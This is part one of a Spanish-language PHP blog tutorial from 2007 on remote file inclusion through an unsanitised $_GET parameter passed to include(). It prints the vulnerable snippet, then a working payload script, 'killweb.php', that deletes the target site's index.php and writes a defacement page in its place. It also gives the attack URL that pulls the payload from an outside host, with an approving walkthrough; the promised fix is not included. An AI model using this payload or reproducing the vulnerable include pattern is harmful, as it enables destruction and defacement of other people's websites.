La importancia de la seguridad con GETS parte 1

>> //seccion/php/ -- 0 comentario /// Agregado el 2007-01-23 @ Por Bline

Habrán sido muchas las veces que un novato en su intento por aprender php empieza con las variables get a incluir archivos que, aunque estando dentro de su servidor, los linkea como si fueran externos. Bien, ahora he aquí el problema, ¿Qué pasaría si alguno de estos archivos fuera dañino para el servidor web? Hace tiempo, cuando no sabía absolutamente nada de php me hacía la misma pregunta, y fardaba con mis amigos acerca de esto, que era imposible que con una web te hackearan la tuya y demás, pobre de mi ignorancia al pensar esto, antes creia que tan sólo podrian hacer esto si se metian en mi ftp y me borraban los archivos, pero claro, la gente crece y con ella el conocimiento, ahora que ya soy "mayorcito" y tengo algo más de experiencia con el php me decido a probar que lo que yo pensaba, es un error tan grande como una casa en de un famoso en Hollywood.

Muchos de los novatos que empiezan, como ya mencioné antes, lo hacen con códigos realmente sencillos como:
Codigo:

1
2
3
4
5
6
7
8
9
10
<?php

# Esto es una prueba de lo que hacen los aprencides al principio
$var $_GET['var'];
    if(empty(
$var)){
        include(
'news.php');
    }else{
        include(
$var);
    }
?>


Bien, lo que hace ese pequeñísimo y simple script, es crear una variable llamada $var que tendrá la función de llamar a la página que se desee, en caso de que $var no tenga nada, se incluye una web con las noticias puestas, por ejemplo. El uso que el principiante le intenta dar a este tipo de scripts es la de llamar páginas locales, en plan index.php?var=dibujos.php de tal modo que donde tengas situado el $_GET se acceda a la página dibujos.php mostrando así su contenido, ahora bien. ¿Solo se incluyen webs locales? NO, y he ahí el problema que tiene este tipo de scripts, si por ejemplo ponemos: index.php?var=http://www.mctekk.com donde queremos que aparezca el gets aparecerá mctekk.com, o la web que hayamos puesto, claro está que en muchas ocasiones queremos incluir páginas externas a nuestro servidor, pero hay que tener precacución con lo que hacemos, pues si incluimos un archivo dañino podríamos incluso quedarnos sin web.

En este caso he desarrollado un script también muy simple que hace la funcion de archivo malo para nuestro servidor, lo he llamado: killweb.php, su función principal es borrar el archivo index.php de nuestro directorio root y crear uno nuevo con un mensaje algo desconcertante para aquel programador novato.
(Antes que nada me gustaría dejar claro que este archivo está hecho con fines lúdicos tan sólo para aprender y no para que este sea usado como referencia para hackeos y demás, allá cada uno como lo use según su consciencia).

Codigo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

####################################
## Kill web by Bline para Mctekk.com
####################################

if(is_file('index.php')){
    
unlink('index.php');
    
    
# Ahora le dejamos un regalito de bienvenida al próximo usuario ^__^
    
$text ' echo "<h2>You\'ve hacked by Nick :3</h2>"; ';

        
$arch 'owned.txt';
        
$file fopen($arch,'w+');
        
fwrite($file,$text);
        
fclose($file);
        
copy($arch,'index.php');
        
unlink($arch);
        echo 
'<meta http-equiv="refresh" content="0;URL=index.php">';
    }


?>


Ahora haré una rápida lectura de lo que hice en ese script. Si ejecutamos el archivo index de este modo nuestro script empezará a correr: index.php?var=http://host.ext/killweb.php
Lo primero que hacemos es verificar si existe el archivo index.php, dado que será el objetivo nuestro para el ataque. En caso de que exista, con la funcion unlink lo borramos, ¿facil no? aquí podriamos terminar nuestro ataque, pero que tipo de personas seríamos si no dejamos nuestra firma de presencia no? ;-)

Tras eso, en la variable $text guardo un mensaje en php con formato de título en que dejo una pequeña frase para todo aquel usuario, en especial para el administrador y webmaster. despues de eso, en la variable $arch, establezco un nombre para el archivo que guardará los datos del index.php nuevo, de tal modo que luego pueda ser copiado al nuevo index. Con el fopen abrimos el archivo con modo w+ (Si existe el archivo owned.txt borra su contenido, y si no existe lo crea) y luego con el fwrite incluimos en el archivo owned.txt la frase en código php guardada en $text, cerramos la conexión con el archivo y con copy, guardamos el contenido en un nuevo archivo index.php, tras eso borramos el rastro del owned.txt y redireccionamos a la web index.php de modo que ya salga nuestro mensaje de bienvenida al usuario.

El solucionar este problema, vendrá en la segunda parte del tutorial, saludos hasta entonces.
Bline